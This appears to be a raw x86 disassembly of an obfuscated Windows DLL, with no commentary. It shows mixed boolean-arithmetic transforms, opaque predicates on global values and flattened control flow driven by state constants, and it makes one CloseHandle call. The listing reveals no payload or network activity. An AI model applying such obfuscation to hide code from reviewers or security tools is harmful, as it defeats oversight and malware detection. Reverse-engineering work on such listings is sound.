xor dl, 1
xor dh, ch
or dh, dl
mov dl, dh
xor dl, 1
mov ch, dl
and ch, dh
xor dl, ch
xor ch, 1
or ch, dh
xor ch, 1
or ch, dl
mov dl, ah
xor dl, 1
and dl, ch
xor ch, 1
mov dh, ah
xor dh, ch
and dh, ah
and ch, ah
or ch, dl
or ch, dh
mov ah, ch
xor ah, 1
mov dh, al
and dh, cl
mov dl, ah
and dl, ch
xor dh, 1
or dh, cl
xor dh, 1
or dh, al
xor dl, 1
mov ebx, edx
xor bl, ch
or dl, ch
xor dl, 1
or dl, bl
mov bl, dh
xor bl, 1
and bl, dl
xor dl, 1
and dl, dh
or dl, bl
mov dh, al
or dh, ah
mov bl, ah
xor bl, cl
and ah, cl
xor cl, ch
xor dh, 1
or dh, cl
xor dl, 1
mov cl, dl
xor cl, dh
or dl, dh
xor dl, 1
or dl, cl
mov cl, ch
or cl, al
xor cl, 1
or cl, bl
xor cl, 1
and ch, al
or ah, ch
xor ah, 1
or ah, al
xor ah, 1
mov ch, cl
xor ch, ah
xor ch, 1
mov al, ch
and al, cl
or ah, cl
xor al, 1
or al, ch
xor al, 1
or al, ah
mov ecx, eax
mov ah, dl
and al, dl
xor dl, 1
xor cl, 1
or ah, cl
and cl, dl
or al, cl
xor al, 1
mov cl, ah
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xf645008d
mov esi, 0x4295859e
cmovne eax, esi
test cl, 1
mov ecx, 0xf645008d
jmp 0x10027f47
mov eax, dword [ebp - 0x50]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x1b334a66
jmp 0x1000f5c0
mov eax, 0xb18bdc56
jmp 0x1000f5c0
mov eax, dword [ebp - 0x5c]
mov eax, dword [0x10049900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, eax
mov edx, ecx
mov edi, ecx
or edx, 0xeb17b16b
mov eax, edx
and eax, 0xd0c5ed03
mov ecx, esi
mov ebx, esi
mov dword [ebp - 0x18], esi
and ecx, 0x4280294
or ecx, eax
mov eax, edi
xor eax, 0x14e84e94
and eax, edi
mov esi, eax
not esi
or edx, esi
and esi, 0xd0c5ed03
and eax, 0x2f3a12fc
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov esi, edx
xor esi, 0xc3030102
xor edx, 0xc00c04
and edx, 0x28d4bc6d
and esi, 0xd72b4392
or esi, edx
mov eax, esi
xor eax, 0xd4210082
xor esi, 0x20440841
and eax, 0xdcb1b4ae
and esi, 0x234e4b51
or esi, eax
mov edx, esi
xor edx, 0xdcb1b4ae
mov eax, esi
xor eax, 0x4801
and eax, 0x4005827
xor esi, 0x82a24c91
and esi, edx
and edx, 0x5a13a018
or edx, eax
xor edx, 0x5a13a018
or edx, esi
not esi
and esi, 0xa1ec07c0
and edx, 0x5e13f83f
or edx, esi
mov eax, edx
xor eax, 0x6506b0ee
xor edx, 1
mov ecx, edx
and ecx, 0x9af94f10
and eax, 0x6506b0ef
or eax, ecx
xor eax, 0x9af94f11
xor edx, eax
and edx, eax
mov esi, edi
or edi, 1
mov eax, edi
and eax, 0xcaeeea1f
mov ecx, ebx
and ecx, 0x351115e0
or ecx, eax
mov eax, esi
xor eax, 0xfffffffe
and eax, esi
mov ebx, esi
mov dword [ebp - 0x1c], esi
mov esi, eax
not esi
or edi, esi
and esi, 0xcaeeea1f
and eax, 0x351115e0
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov ecx, dword [ebp - 0x18]
and ecx, 0xff255bf9
and ebx, 0xdaa406
or ebx, ecx
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0xebde1b08
and edi, 0x1421e4f7
or edi, esi
mov esi, ebx
xor esi, 0xa406
xor ebx, 0xeb041b08
and ebx, 0xebde1b08
and esi, 0x1421e4f7
or esi, ebx
xor esi, edi
not esi
or esi, ecx
mov ecx, esi
not ecx
mov dword [ebp - 0x20], ecx
mov eax, esi
and eax, 0x1c6ddf0
and ecx, 0xfe39220f
or ecx, eax
mov ebx, edx
not ebx
mov eax, edx
and eax, 0x797c3515
mov edi, ebx
and edi, 0x8683caea
or edi, eax
mov eax, ecx
xor eax, 0x8601020a
xor ecx, 0x1c6ddf0
mov dword [ebp - 0x14], edx
or dword [ebp - 0x14], ecx
and ecx, 0x797c3515
and eax, 0x8683caea
or eax, ecx
xor eax, edi
mov ecx, dword [ebp - 0x14]
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
and ebx, 0x3480000b
mov eax, edx
and eax, 0x42009620
or eax, ebx
xor eax, 0x42009620
and edx, 0x897f69d4
or edx, eax
mov ecx, esi
xor ecx, 0x897f69d4
and ecx, esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0x4d1ab923
and ecx, 0xb2e546dc
or ecx, edi
or esi, 0x7680962b
or eax, esi
and esi, 0x4d1ab923
mov edi, dword [ebp - 0x20]
and edi, 0x806540d4
or edi, esi
xor edi, ecx
not eax
or eax, edi
mov ebx, eax
xor ebx, eax
not ebx
and ebx, edx
xor ebx, eax
mov eax, dword [ebp - 0x14]
mov edx, eax
not edx
and eax, 0xe90cd23f
mov esi, edx
and esi, 0x16f32dc0
or esi, eax
mov ecx, esi
xor ecx, 0x16f32dc0
mov dword [ebp - 0x14], ecx
mov eax, esi
xor eax, 0x613ae6f7
and eax, ecx
and edx, 0x77c9cb37
or edx, eax
mov eax, ebx
not eax
mov edi, ebx
xor edi, 0x883634c8
mov ecx, edi
and ecx, eax
and edi, ebx
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, edx
xor ecx, edi
xor esi, 0xe90cd23f
mov edx, esi
and edx, 0x1651f1f1
mov edi, dword [ebp - 0x14]
and edi, 0xe9ae0e0e
or edi, edx
or esi, ebx
and ebx, 0x1651f1f1
and eax, 0xe9ae0e0e
or eax, ebx
xor eax, edi
not esi
or esi, eax
not esi
or esi, ecx
mov edx, esi
not edx
mov edi, esi
xor edi, 0xd1202040
and edi, esi
mov eax, edx
and eax, 0xd16920f0
mov ecx, esi
and esi, 0x2e96df0f
or esi, eax
not esi
or esi, edx
and edx, 0x40202000
and ecx, 0x91000040
or ecx, edx
xor ecx, 0x91000040
or edi, ecx
mov eax, edi
and eax, 0x81692070
xor edi, 0x80
xor eax, 0x8930b441
and edi, 0x50000080
or edi, eax
mov ebx, edi
xor ebx, 0x8979b471
mov eax, ebx
xor eax, esi
and eax, ebx
xor edi, 0x76864b8e
xor ebx, edi
and ebx, esi
xor ebx, edi
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x7860c1a1
mov esi, ebx
and esi, 0x879f3e5e
or esi, ecx
mov ecx, esi
xor ecx, 0x4160e00
xor esi, 0x4100
or esi, 0x41692000
and esi, 0x43e9710e
and ecx, 0x2c168e01
or ecx, esi
or eax, 0x280510e
and eax, 0x43e9710e
and ebx, 0x900000f0
or ebx, eax
xor ebx, ecx
mov esi, dword [ebp - 0x18]
mov eax, esi
or eax, 0x20083602
mov edx, dword [ebp - 0x1c]
mov ecx, edx
or ecx, 0x42614049
and ecx, 0x6269764b
and esi, 0x1c0481b4
or esi, ecx
and eax, 0x6269764b
and edx, 0x81920800
or edx, eax
xor edx, esi
mov ecx, edx
xor ecx, 0xc3110808
xor edx, 0x140c2036
and edx, 0x14ee6077
and ecx, 0xeb119f88
or ecx, edx
mov eax, ecx
xor eax, 0x63108208
xor ecx, 0x10802003
and ecx, 0x98813d83
and eax, 0x677ec27c
or eax, ecx
mov ecx, eax
xor ecx, 0x677ec27c
mov edi, eax
xor edi, 0x90811d00
and edi, 0xf5a11f70
xor eax, 0xcad5f9f6
and eax, ecx
mov esi, ecx
and esi, 0xa5ee08f
or esi, edi
mov ecx, esi
xor ecx, 0xa5ee08f
xor esi, 0x580a24fa
and esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x29ef4c96
and esi, 0xd610b369
or esi, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0x29ef4c96
and eax, 0xd610b369
or eax, edi
xor eax, esi
not ecx
or ecx, eax
mov esi, ecx
xor esi, 0xa8a83b08
xor ecx, 0x52508040
and ecx, 0x575380c2
and esi, 0xa8ac7f3d
or esi, ecx
mov ecx, ebx
not ecx
mov eax, ecx
mov edx, ecx
mov dword [ebp - 0x1c], ecx
and eax, 0xd399694b
mov edi, ebx
and edi, 0x2c6696b4
or edi, eax
xor edi, 0x2c6696b4
and edx, ebx
or edx, edi
mov edi, esi
xor edi, 0x575380c2
xor esi, 0xa8ac7f3d
mov eax, esi
and eax, 0xc881e3e9
mov ecx, edi
and edi, 0x377e1c16
or edi, eax
and ecx, 0xb67a831b
xor edi, 0x2431962f
or edi, esi
mov dword [ebp - 0x24], edi
mov edi, esi
and edi, 0x49857ce4
or edi, ecx
mov eax, edx
mov dword [ebp - 0x18], edx
mov esi, edx
not esi
mov dword [ebp - 0x14], esi
and esi, 0xecb075c6
and eax, 0x134f8a39
or eax, esi
mov ecx, dword [ebp - 0x1c]
and ecx, 0xc8007546
and ebx, 0x24b00080
or ebx, ecx
mov dword [ebp - 0x28], ebx
mov ebx, edi
xor ebx, 0xb67a831b
mov dword [ebp - 0x20], ebx
xor edi, 0x49857ce4
mov dword [ebp - 0x1c], edi
mov ecx, edi
and ecx, 0x13418208
and ebx, 0xe0831
or ebx, ecx
not eax
or eax, dword [ebp - 0x14]
mov esi, eax
not esi
mov ecx, eax
and ecx, 0x3a09f22c
xor eax, 0x68b9091e
and eax, esi
and esi, 0xc5f60dd3
or esi, ecx
mov ecx, esi
xor ecx, 0xc5f60dd3
mov dword [ebp - 0x2c], ecx
mov edi, esi
xor edi, 0xad4f04cd
and edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0xc4b5208
and edi, 0xf3b4adf7
or edi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0xc4b5208
and eax, 0xf3b4adf7
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov edi, dword [ebp - 0x28]
xor edi, 0x24b00080
or edi, 0x134f8a39
mov eax, edi
xor eax, 0x68200006
mov edx, edi
xor edx, 0x80005000
and edx, 0x80985900
and eax, 0x7e6624e7
or eax, edx
xor eax, ecx
xor esi, 0x3a09f22c
mov ecx, esi
and ecx, 0x621a40ed
mov edx, dword [ebp - 0x2c]
and edx, 0x9de5bf12
or edx, ecx
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0x601040c4
and edi, 0x9de5bf12
or edi, ecx
xor edi, edx
not esi
or esi, edi
xor eax, 0x8198db00
not esi
or esi, eax
mov eax, ebx
xor eax, 0xe0831
mov edx, ebx
xor edx, 0x2010200
or edx, 0x8008
and edx, 0x2018a38
lea ecx, [eax - 0x134f8a3a]
mov edi, ecx
and edi, 0x5422181
or edi, edx
or eax, 0x42810a34
xor ebx, 0x10000000
and eax, 0x42818a3c
and ebx, 0x100c0000
or ebx, eax
xor ebx, edi
mov eax, dword [ebp - 0x24]
xor ebx, eax
or eax, ecx
xor ebx, 0xb83cd44a
not eax
or eax, ebx
mov ecx, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0xb47a31b5
xor edx, ecx
not edx
and edx, esi
and esi, 0x4b85ce4a
or esi, eax
xor esi, ecx
xor esi, 0xb47a31b5
and esi, ecx
or edx, esi
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
and eax, edi
mov esi, dword [ebp - 0x1c]
or edi, esi
and esi, dword [ebp - 0x18]
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xa77a504a
and esi, 0x5885afb5
or esi, ecx
xor esi, edi
xor esi, 0x5885afb5
or eax, edi
not eax
or eax, esi
mov esi, eax
not esi
mov ecx, edx
xor ecx, 0xd5015f88
and ecx, edx
not edx
mov edi, edx
and edi, 0xd5015f88
or ecx, edi
mov edi, eax
and edi, 0xd5015f88
or edx, eax
xor eax, 0x2afea077
and eax, esi
or eax, edi
mov esi, eax
xor esi, eax
not esi
and esi, ecx
xor esi, eax
mov eax, edx
not eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x19d83740
and esi, 0xe627c8bf
or esi, edi
or ecx, edx
and edx, 0x19d83740
and eax, 0xe627c8bf
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, ecx
mov edx, ecx
and edx, 0x100310a0
mov edi, eax
and edi, 0x4c06109
or edi, edx
mov ebx, esi
not ebx
mov edx, ecx
or edx, ebx
and ebx, 0x100310a0
and esi, 0x4c06109
or esi, ebx
xor esi, edi
not edx
or edx, esi
not edx
or edx, 0xeb3c8e56
mov esi, edx
not esi
mov edi, eax
and edi, 0x14c371a9
and ecx, 0xeb3c8e56
or ecx, edi
xor eax, ecx
and eax, ecx
mov dword [ebp - 0x14], eax
and edx, 0xddc82414
mov ecx, esi
and ecx, 0x351a9
or ecx, edx
mov edi, ecx
xor edi, 0x2237dbeb
mov edx, edi
and edx, 0xb8fb1114
and esi, 0x40060a9
or esi, edx
mov ebx, eax
not ebx
mov edx, eax
xor edx, 0xb8fb1114
and edx, ebx
mov eax, dword [ebp - 0x14]
and eax, 0x4704eeeb
or eax, edx
mov edx, eax
xor edx, eax
not edx
and edx, esi
xor edx, eax
xor ecx, 0xddc82414
mov eax, ecx
and eax, 0x415100
and edi, 0xf79ea4f9
or edi, eax
mov eax, dword [ebp - 0x14]
or ecx, eax
and eax, 0x8615b06
and ebx, 0xf79ea4f9
or ebx, eax
xor ebx, edi
not ecx
or ecx, ebx
mov esi, ecx
not esi
mov eax, edx
not eax
mov edi, eax
and edi, 0xd81ae838
and edx, 0x27e517c7
or edx, edi
or eax, ecx
and ecx, 0xd81ae838
and esi, 0x27e517c7
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x23373f46
and ecx, eax
or eax, 0xdcc8c0b9
mov esi, ecx
not esi
mov edi, eax
and edi, 0x9fc8c12d
and edx, 0x20373e42
or edx, edi
or eax, esi
and esi, 0x9fc8c12d
and ecx, 0x60373ed2
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xc80bb110
xor eax, 0x37f44eef
mov edx, eax
and edx, 0x80280904
mov esi, ecx
and esi, 0x2802209
or esi, edx
mov edx, esi
xor edx, 0x2000209
xor esi, 0x301791c0
or eax, 0x802100
and esi, 0x3097b1c0
and edx, 0x82280a0d
or edx, esi
and eax, 0x3097b1c0
and ecx, 0x4d404432
or ecx, eax
xor ecx, edx
mov esi, ecx
xor esi, 0x82a82b0d
mov edx, ecx
xor edx, 0x819a36a9
and edx, esi
mov eax, edx
not eax
mov edi, eax
and edi, 0xfb388b6
and edx, 0xf04c7749
or edx, edi
or eax, esi
or esi, 0xc818012
xor ecx, 0x1400
and esi, 0xfb388b6
and ecx, 0x1500
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
not ecx
and ecx, 0xfccde25b
and eax, 0x3321da4
or eax, ecx
mov ecx, eax
xor ecx, 0x286fad6a
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xd7905295
and eax, 0x286fad6a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xff71524b
and ecx, 0x8eadb4
or ecx, eax
mov eax, ecx
xor eax, 0x20214043
xor ecx, 0x8aa8b4
and ecx, 0xdfdababc
and eax, 0x20254543
or eax, ecx
xor eax, 0x20254543
sete ch
setne cl
cmp dword [0x10049904], 0xa
setge dl
setl al
mov ah, cl
and ah, al
xor al, cl
mov dh, dl
and dh, ch
or dh, ah
mov ah, dl
or ah, cl
xor ah, 1
or ah, dh
mov dh, al
or dh, ah
xor dh, 1
xor ah, al
or ah, dh
mov dh, ah
xor dh, 1
mov al, ah
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, ah
mov ah, al
xor ah, 1
xor cl, dl
and cl, dl
or dl, ch
xor cl, 1
mov ch, cl
or ch, dl
xor ch, 1
xor cl, dl
or cl, ch
mov ch, cl
xor ch, 1
mov dh, ch
and dh, cl
xor dh, 1
mov dl, cl
xor dl, dh
or dh, cl
xor dh, 1
or dh, dl
mov dl, dh
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dh, ah
and dl, al
or dl, dh
xor bl, 1
xor dl, 1
mov dh, bl
xor dh, dl
or dl, bl
xor dl, 1
or dl, dh
mov dh, al
and dh, ah
xor dh, 1
or dh, ah
xor dh, 1
or dh, al
or al, cl
and cl, dh
xor dh, 1
and dh, ch
or dh, cl
xor dh, 1
or dh, ch
mov ecx, edx
xor cl, 1
xor dh, 1
xor al, 1
or al, dh
mov ah, al
xor ah, 1
and ah, cl
xor cl, al
or cl, dl
and al, dl
mov edx, ecx
xor dl, 1
or al, ah
mov ah, al
xor ah, 1
and al, cl
and dl, ah
or dl, al
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x6493523e
mov esi, 0x88206d61
cmovne eax, esi
test dl, 1
cmove eax, esi
not cl
test cl, 1
mov ecx, 0x6493523e
cmovne eax, ecx
jmp 0x1000f5c0
mov eax, dword [ebp - 0x44]
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov esi, ecx
mov dword [ebp - 0x14], ecx
and eax, 0x3b842819
mov ecx, edx
mov edi, edx
mov dword [ebp - 0x18], edx
and ecx, 0x124000
or ecx, eax
xor ecx, 0x124000
mov eax, esi
and eax, 0xc46997e6
or eax, ecx
mov edx, eax
xor edx, 0x92ad843
and edx, eax
mov eax, esi
and eax, 0xf6d527bc
mov ecx, edi
and ecx, 0x92ad843
or ecx, eax
mov edi, ecx
xor edi, esi
and edi, ecx
mov eax, edx
xor eax, 0x7701bbd7
mov ecx, eax
and eax, edx
not edx
mov dword [ebp - 0x1c], edx
and ecx, edx
mov esi, ecx
not esi
mov ebx, esi
and ebx, 0xedc59e07
and ecx, 0x123a61f8
or ecx, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0xedc59e07
and eax, 0x123a61f8
or eax, ebx
xor eax, ecx
not esi
or esi, eax
mov eax, edi
xor eax, 0x7701bbd7
mov ecx, eax
and eax, edi
mov ebx, edi
not ebx
and ecx, ebx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x5a0712d7
and ecx, 0xa5f8ed28
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x5a0712d7
and eax, 0xa5f8ed28
or eax, edx
xor eax, ecx
not edi
or edi, eax
xor edi, esi
or ebx, dword [ebp - 0x1c]
mov esi, edi
not esi
mov eax, esi
and eax, 0xfa6d914e
and edi, 0x5926eb1
or edi, eax
mov eax, ebx
not eax
or esi, ebx
and ebx, 0xfa6d914e
and eax, 0x5926eb1
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov edx, esi
xor edx, 0x92ad843
xor esi, 0xf6d527bc
mov eax, esi
and eax, 0x24020000
and esi, edx
and edx, 0x1300296
or edx, eax
xor edx, 0x1300296
or edx, esi
mov ebx, dword [ebp - 0x14]
mov eax, ebx
and eax, 0x2001c40
mov edi, dword [ebp - 0x18]
mov ecx, edi
and ecx, 0xbc27000d
or ecx, eax
xor ecx, 0xbc27000d
mov esi, edi
xor esi, 0xbe271c4d
and esi, edi
or esi, ecx
mov ecx, ebx
and ecx, 0x3ac129fc
mov eax, edi
and eax, 0xc53ed603
or eax, ecx
mov ecx, esi
xor ecx, 0x8a0404da
xor esi, 0x64eae124
mov edi, esi
and edi, 0x71f99b01
and ecx, 0x8e0664fe
or ecx, edi
mov ebx, eax
xor ebx, 0x84064402
xor eax, 0x30c10900
and eax, 0x71f99b01
and ebx, 0x8e0664fe
or ebx, eax
xor ebx, ecx
not ebx
or ebx, esi
mov edi, ebx
not edi
mov eax, ebx
and eax, 0x28000c36
mov esi, edi
and esi, 0x177a2288
or esi, eax
not edx
and edx, 0x25320296
mov eax, edx
not eax
mov ecx, ebx
xor ecx, eax
and ecx, edi
and ebx, 0x24120202
and edi, 0x1200094
or edi, ebx
xor esi, 0x177a2288
or esi, eax
xor edi, eax
xor edi, 0x1200094
and edi, edx
or edi, ecx
mov eax, esi
not eax
mov ecx, esi
and esi, 0x1227310f
and eax, 0x25100290
or eax, esi
mov edx, edi
not edx
or ecx, edx
and edx, 0x1227310f
and edi, 0xedd8cef0
or edi, edx
not ecx
xor edi, eax
or edi, ecx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x38010041
mov ecx, edi
and ecx, 0x85100a1a
or ecx, eax
xor ecx, 0x85100a1a
mov esi, edi
and esi, 0x42eef5a4
or esi, ecx
mov eax, esi
xor eax, 0x40c05584
xor esi, 0x34110a09
and eax, 0xc9c055d6
and esi, 0x363faa29
or esi, eax
mov eax, esi
xor eax, 0x130da8be
xor esi, 0x363faa29
and esi, eax
and edi, 0x47263113
mov eax, ebx
and eax, 0xb8d9ceec
or eax, edi
xor eax, 0x9debcc7b
and ebx, 0xdacdfd68
or ebx, eax
mov dword [ebp - 0x1c], ebx
mov eax, ebx
not eax
mov ecx, eax
mov dword [ebp - 0x20], eax
mov eax, ebx
and eax, 0x5f818ef9
xor ebx, 0xa07e7106
and ebx, ecx
or ebx, eax
mov eax, esi
not eax
mov dword [ebp - 0x24], eax
mov edx, esi
xor edx, 0x5f818ef9
mov ecx, edx
and ecx, eax
mov eax, ecx
not eax
mov edi, eax
and edi, 0x79167214
and ecx, 0x86e98deb
or ecx, edi
and edx, esi
mov edi, edx
not edi
or eax, edi
and edi, 0x79167214
and edx, 0x86e98deb
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov edx, ebx
xor edx, ebx
not edx
and edx, eax
xor edx, ebx
mov eax, esi
and eax, 0xcf77514
mov ecx, dword [ebp - 0x24]
and ecx, 0xf3088aeb
or ecx, eax
mov edi, ecx
mov eax, dword [ebp - 0x20]
or esi, eax
and eax, 0xcf77514
mov ecx, dword [ebp - 0x1c]
and ecx, 0xf3088aeb
or ecx, eax
xor ecx, edi
not esi
or esi, ecx
not esi
or esi, edx
mov eax, esi
not eax
and eax, 0xbb760861
and esi, 0x4489f79e
or esi, eax
mov ecx, esi
xor ecx, 0xbb760861
xor esi, 0x4489f79e
mov eax, ecx
and eax, esi
and ecx, 0xc8803349
and esi, 0x377fccb6
or esi, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0x9da38ca7
and eax, 0x625c7358
or eax, ecx
mov ecx, esi
xor ecx, 0x40003348
xor esi, 0x377fccb6
or ebx, esi
and esi, 0x9da38ca7
and ecx, 0x625c7358
or ecx, esi
xor ecx, eax
not ebx
or ebx, ecx
mov edi, dword [ebp - 0x14]
mov ecx, edi
and ecx, 0x400204d0
mov esi, dword [ebp - 0x18]
mov eax, esi
and eax, 0xd616228
or eax, ecx
mov ecx, eax
xor ecx, 0x412028
xor eax, 0x72020107
and eax, 0x7f224307
and ecx, 0x4124f8
or ecx, eax
mov edx, edi
or edx, 0x4d224200
and edx, 0x7f224307
mov eax, esi
and eax, 0x809c9800
or eax, edx
xor eax, ecx
mov ecx, edi
and ecx, 0xb5af3060
mov edx, esi
and edx, 0x4a50cf9f
or edx, ecx
mov ecx, edx
xor ecx, 0x4a50cf9f
xor edx, 0xb0a50060
and edx, 0xfaf506fa
mov esi, ecx
and esi, 0x50af905
or esi, edx
mov edx, eax
xor edx, 0xb0148902
xor esi, 0x50af905
or esi, ecx
mov ecx, eax
xor ecx, 0x4d6366f8
xor eax, 0xf834ef9a
and eax, ecx
and edx, 0xb5578962
or edx, eax
mov edi, esi
xor edi, 0xb5578962
mov eax, esi
not eax
and eax, esi
xor eax, edi
mov edi, eax
xor edi, eax
not edi
and edi, edx
xor edi, eax
or esi, ecx
not esi
or esi, edi
mov dword [ebp - 0x28], ebx
mov eax, ebx
not eax
mov dword [ebp - 0x18], eax
and eax, 0x601c8810
mov ecx, ebx
and ecx, 0x6206004
or ecx, eax
xor ecx, 0x6206004
and ebx, 0x99c317eb
or ebx, ecx
mov eax, esi
mov dword [ebp - 0x24], esi
mov ecx, esi
not ecx
mov dword [ebp - 0x14], ecx
and ecx, 0xb673520e
and eax, 0x498cadf1
or eax, ecx
mov ecx, eax
xor ecx, 0x49088580
xor eax, 0x6114204
and eax, 0x6956a75
and ecx, 0xf96a958a
or ecx, eax
mov esi, ebx
xor esi, 0x99c317eb
xor ebx, 0x663ce814
mov dword [ebp - 0x20], ebx
and ebx, 0x3a421a81
mov dword [ebp - 0x1c], ecx
xor ecx, 0xf96a958a
mov eax, esi
xor eax, ecx
and eax, esi
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov edi, ecx
and ecx, esi
mov dword [ebp - 0x30], ecx
mov edx, esi
and edx, 0x8004454c
or edx, ebx
mov esi, dword [ebp - 0x28]
and esi, 0xd38da81f
mov ebx, dword [ebp - 0x18]
mov ecx, ebx
and ecx, 0x2c7257e0
or ecx, esi
xor ecx, 0x69cbf7d2
and ebx, 0xba465fcd
or ebx, ecx
mov ecx, dword [ebp - 0x1c]
xor ecx, 0x6956a75
and dword [ebp - 0x20], ecx
and ecx, 0x9a0b259a
and eax, 0x65f4da65
or eax, ecx
xor eax, 0xdfb285a8
and edi, 0x45b9a032
or edi, eax
mov dword [ebp - 0x1c], edi
mov esi, dword [ebp - 0x14]
mov eax, esi
and eax, 0x91266285
mov ecx, dword [ebp - 0x24]
and ecx, 0x6ed99d7a
or ecx, eax
xor ecx, 0x2b603d48
xor esi, ecx
and esi, ecx
mov dword [ebp - 0x14], esi
mov eax, edx
xor eax, 0x8004454c
or eax, 0x45b9a032
mov esi, eax
not esi
and eax, 0x5fe15653
xor edx, 0x3a444a85
and edx, esi
and esi, 0xa006098c
or esi, eax
mov eax, ebx
not eax
mov ecx, ebx
and ecx, 0xe8c3ef41
xor ebx, 0xbf790fcb
and ebx, eax
mov dword [ebp - 0x18], ebx
and eax, 0x173c10be
or eax, ecx
mov ecx, esi
xor ecx, 0x40805010
or ecx, 0xbf790fcb
mov dword [ebp - 0x24], esi
xor esi, 0x2024
mov ebx, ecx
and ebx, 0x975f14cb
and esi, 0x40006034
or esi, ebx
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0x97df94cb
and edx, 0x28004b04
or edx, ebx
xor edx, esi
not ecx
or ecx, edx
mov edi, eax
xor edi, 0x173c10be
xor eax, 0xa8451f75
and eax, edi
mov esi, eax
not esi
mov ebx, esi
and ebx, 0x85f6241
and eax, 0xf7a09dbe
or eax, ebx
mov edx, dword [ebp - 0x18]
mov ebx, edx
not ebx
or esi, ebx
and ebx, 0x85f6241
and edx, 0xf7a09dbe
or edx, ebx
xor edx, eax
not esi
or esi, edx
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
mov ecx, dword [ebp - 0x24]
xor ecx, 0xa01ea9ac
or edi, ecx
not edi
or edi, eax
mov edx, dword [ebp - 0x1c]
mov esi, edx
not esi
mov eax, edx
and eax, 0xbf7a5b72
xor edx, 0x9e47f9f5
and edx, esi
and esi, 0x4085a48d
or esi, eax
mov eax, esi
xor eax, 0x4085a48d
mov ecx, esi
xor ecx, 0xdec25d78
and ecx, eax
or edx, ecx
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x14]
not ecx
mov ebx, ecx
and ebx, 0x61b8060a
mov edx, dword [ebp - 0x14]
and edx, 0x9e47f9f5
or edx, ebx
xor edx, dword [ebp - 0x1c]
xor esi, 0xbf7a5b72
mov ebx, esi
and ebx, 0xde79ee1a
and eax, 0x218611e5
or eax, ebx
mov ebx, dword [ebp - 0x14]
or esi, ebx
and ebx, 0xde79ee1a
and ecx, 0x218611e5
or ecx, ebx
xor ecx, eax
not esi
or esi, ecx
not esi
or esi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x8b12eea5
mov edx, edi
and edx, 0x74ed115a
or edx, ecx
not esi
xor edx, 0x8b12eea5
or edx, esi
xor esi, eax
and esi, edi
not edx
or esi, edx
mov edi, dword [ebp - 0x30]
or edi, dword [ebp - 0x20]
or edi, dword [ebp - 0x2c]
mov eax, edi
not eax
mov ecx, eax
and ecx, edi
mov edx, edi
and edx, 0x1b4aa73c
and eax, 0xe4b558c3
or eax, edx
mov edx, ecx
not edx
or edi, edx
and edx, 0x1b4aa73c
and ecx, 0xe4b558c3
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov ecx, edi
not ecx
and edi, 0xc542b0c0
and ecx, 0x3abd4f3f
or ecx, edi
mov eax, ecx
xor eax, 0xc542b0c0
xor ecx, 0x10a8040d
mov edi, esi
not edi
mov edx, edi
or edx, eax
and edi, 0x2a57fb72
and esi, 0xd5a8048d
or esi, edi
and eax, 0x2a57fb72
and ecx, 0xd5a8048d
or ecx, eax
xor ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xd6f37db9
and ecx, 0x290c8246
or ecx, esi
xor ecx, edx
xor ecx, 0x290c8246
or eax, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xcce2090d
mov esi, eax
and esi, 0x331df6f2
or esi, ecx
xor esi, 0x331df6f2
mov edi, edx
and edi, eax
or edi, esi
mov ecx, edi
not ecx
and edi, 0xec446652
mov esi, ecx
and esi, 0x13bb99ad
or esi, edi
xor esi, 0x74de7267
and ecx, 0x989a1435
or ecx, esi
mov edi, ecx
not edi
and eax, 0x14e63876
mov esi, edx
and esi, 0xeb19c789
or esi, eax
xor esi, 0x7383d3bc
and edx, 0x6765ebca
or edx, esi
mov esi, edx
not esi
mov ebx, ecx
and ebx, 0x5b00a9cd
xor ecx, 0xf4444a07
and ecx, edi
mov eax, edi
and eax, 0xa4ff5632
or eax, ebx
and edx, 0x5cb2c69c
mov ebx, esi
